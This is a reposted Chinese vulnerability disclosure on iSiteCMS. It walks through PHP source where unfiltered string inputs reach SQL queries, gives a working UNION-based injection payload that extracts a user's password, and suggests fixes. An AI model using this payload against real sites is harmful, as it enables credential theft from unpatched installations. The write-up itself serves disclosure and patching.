网站地图    收藏   

主页 > 后端 > 网站安全 >

iSiteCMS发布安全补丁后仍然有几处注射漏洞源码详

来源:自学PHP网    时间:2015-04-16 23:14 作者: 阅读:

[导读] iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是还有几处注射分布在XX模块以及XXX模块里本文对源代码进行了详细的分析源码分析请见详细说明,实站演示请见漏洞证明...

 iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是
还有几处注射分布在XX模块以及XXX模块里
本文对源代码进行了详细的分析
源码分析请见详细说明,实站演示请见漏洞证明
 
/isite/components/messages/messages.fe.php line:103
 
if($form->status == TFORM_STATUS_GETED_VALID){

//这个是站内短信的写信息表单 的 处理

      $arr = $form->getValues();

//直接获取表单中信息

      $tos = explode(',',trim($arr['to']));

//只是分割,不是过滤

      $noExistsMenber = array();

      $toMenbers = array();

      foreach ($tos as $menber){

        $i =

        $this->DBE->getOne("select `id` from #__user where `name`='$menber'");

//一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的int变量都通过了inval,而这个是string啊喵,我可以输入单引号啊喵)

        if(is_null($i) or empty($i)){

          $noExistsMenber[] = $menber;

//id只要有返回就可以继续

        }else{

          $m['name'] = $menber;

          $m['id']  = $i;

          $toMenbers[] = $m;

        }

      }

      if(!empty($noExistsMenber)){

        addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber));

      }else{

        $msg['tos'] = $arr['to'];

        $msg['subject'] = $arr['subject'];

        $msg['content'] = $arr['content'];

//进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读sendMessage代码

        $mMessage->sendMessage($toMenbers,$msg);

        $this->flash('成功','发送成功',bu(1,'messages','inbox'));

      }

 

 
这个就是代码里的表单显示
 
 
先来个同理可证:
 
/isite/components/links/links.be.php line:64
 
if($form->status == TFORM_STATUS_GETED_VALID){

$newCat = $form->getValues();

if($id==0){

//create category

//check name

$name = $newCat['name'];

$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");

if($nameUsed){

$form->status = TFORM_STATUS_GETED;

 

 
 
看完以上代码是不是有一种似曾相识的感觉呢?
 
 
 
漏洞成因分析完毕
 
 
 
下面是对于攻击方式的分析,如果您只关心如何把漏洞补上,也可以直接跳过以下内容到漏洞修复那里
 
 
 
注射肯定是有了,但是这里有一点点别扭的地方,就是
 
$tos = explode(',',trim($arr['to']));
 
 
这句话把逗号给干掉了,给注射添加了小小难度,不过,这能难倒WOOYUN的帽子们吗?
 
继续分析代码:
 
/isite/components/messages/models/message.php 整个php
 
function sendMessage($to,$message,$type=null,$newCall=1){

//刚才检测完用户是否存在后,调用这个函数

    if(isset($to['name']) or is_string($to)){

      if(is_string($to)){

        $to['name'] = $to;

      }

      if(!isset($to['id'])){

//还记得id吗,是之前被注射SQL的返回,理论上正常应该是目标用户的id

        $to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");

      }

//又SELECT一遍,不过name还是注射时的name,这一句也被注射了

      global $gUser;

      $message['to'] = $to['name'];

      $message['to_id'] = $to['id'];

      $message['from'] = $gUser->name;

      $message['from_id'] = $gUser->id;

      $message['create_time'] = TIME_STAMP;

      $message['type'] = $type;

      $this->insert($message);

//看到下一句,终于长舒一口气,注射可以有回显了!to_id就是我们的语句执行结果,而它会报错给我们看的!

      $this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");

      if($newCall>0){

        $message['to'] = '';

        $message['to_id'] = 0;

        $this->insert($message);

        $newCall--;

      }

    }else if(is_array($to)){

      foreach ($to as $sto){

        $this->sendMessage($sto,$message,null,$newCall);

      }

    }

  }

 

 
 
 
注射+回显方法 : 
 
test' and 1=2 union select password from flexi_user where id=1#
 
 
union select 后面加你想看的内容即可,不过记着不能用逗号哦
 
修补方式分析:
 
目前的状态是:数字型+语句中单引号(可防注射);字符型+语句中单引号(仍能注射)
 
主要需要考虑字符型变量的过滤问题
 
可以addslashes,也可以用普通过滤
 
也可以用框架提供的安全特性

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论